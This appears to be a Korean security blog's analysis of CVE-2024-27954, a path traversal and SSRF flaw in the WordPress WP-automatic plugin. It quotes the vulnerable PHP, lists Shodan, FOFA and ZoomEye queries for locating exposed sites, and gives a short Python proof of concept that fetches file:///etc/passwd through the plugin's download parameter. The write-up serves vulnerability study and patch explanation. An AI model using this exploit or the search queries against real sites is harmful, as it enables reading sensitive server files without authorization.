반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 악성코드 분석
- 모의해킹
- wp-automatic
- cve-2024-27954
- authentication bypass
- 리버스 쉘
- XSS
- Stored XSS
- kioptrix
- nmap
- Command Injection
- wp-automatic plugin
- really simple security plugin
- cve-2024-5084
- rce
- pentesting
- wordpress
- 1-day analysis
- plugin
- DLL Injection
- SQL Injection
- cve-2024-10924
- cve-2024-2242
- broken access control
- MALWARE
- cve-2024-4439
- Burp Suite
- cve-2024-27956
- LPE
- 악성코드
Archives
- Today
- Total
Psalm
CVE-2024-27954 본문
반응형
개요
CVE-2024-27954는 WP-automatic 플러그인 3.92.1 버전 미만에서 발생하는 Path traveral 와 SSRF 취약점이다. 이를 통해 공격자는 임의 위치에 접근할 수 있으며 민감한 파일에 액세스할 수 있다.
Search Engine Queries
FOFA = body="wp-content/plugins/wp-automatic" && header="HTTP/1.1 200 OK" ZoomEye = title:"wp-automatic" response.status_code:200 Shodan = http.title:"wp-automatic" http.status:200 Publicwww = "/wp-content/plugins/wp-automatic" |
취약점
\wp-content\plugins\wp-automatic\wp-automatic.php
/** * custom request for cron job */ function wp_automatic_parse_request($wp) { //secret word $wp_automatic_secret = wp_automatic_trim(get_option('wp_automatic_cron_secret')); if(wp_automatic_trim($wp_automatic_secret) == '') $wp_automatic_secret = 'cron'; // only process requests with "my-plugin=ajax-handler" if (array_key_exists('wp_automatic', $wp->query_vars)) { if($wp->query_vars['wp_automatic'] == $wp_automatic_secret){ require_once(dirname(__FILE__) . '/cron.php'); exit; }elseif ($wp->query_vars['wp_automatic'] == 'download'){ require_once 'downloader.php'; exit; }elseif ($wp->query_vars['wp_automatic'] == 'test'){ require_once 'test.php'; exit; }elseif($wp->query_vars['wp_automatic'] == 'show_ip'){ $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT,20); curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); // Good leeway for redirections. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Many login forms redirect at least once. |
wp-automatic 매개변수로 “download”로 설정하면 download.php에 액세스할 수 있다.
\wp-content\plugins\wp-automatic\downloader.php
$link=$_GET['link'];//urldecode(); $link=wp_automatic_str_replace('httpz','http',$link); //$link='http://ointmentdirectory.info/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%AA%E0%B8%94%E0%B8%87%E0%B8%A0%E0%B8%B2%E0%B8%9E%E0%B8%99%E0%B8%B4%E0%B9%88%E0%B8%87-%E0%B8%97%E0%B8%AD%E0%B8%94%E0%B8%9B%E0%B8%A5%E0%B8%B2%E0%B9%80%E0%B8%9E'; // echo $link ; //exit ; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, wp_automatic_trim($link)); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($ch,CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_REFERER, 'http://bing.com'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); curl_setopt($ch,CURLOPT_MAXREDIRS, 5); // Good leeway for redirections. curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 0); // Many login forms redirect at least once. $exec=curl_exec_follow($ch); |
$_GET[‘link’] 파라미터에 임의의 URL을 요청하면 서버에서 URL 요청을 수행한다. URL을 요청할 때 입력 검증을 하지 않기 때문에 임의 파일에 액세스할 수 있다.
POC
python
import requests url = "http://localhost:8080/" params = { "p": "3232", "wp_automatic": "download", "link": "file:///etc/passwd" } res = requests.get(url, params=params) if res.status_code == 200: print(res.text) else: print(res.status_code) |
패치
공급업체는 nonce 검사를 적용하기로 결정했고, $link 변수에 대한 검증을 하기로 했습니다.
반응형
'보안공부 > 1-day 취약점 분석' 카테고리의 다른 글
CVE-2024-2242 (0) | 2025.01.20 |
---|---|
CVE-2024-5084 (0) | 2025.01.13 |
CVE-2024-10924 (1) | 2024.12.13 |
CVE-2024-4439 (0) | 2024.11.13 |
CVE-2024-27956 (1) | 2024.11.05 |
Comments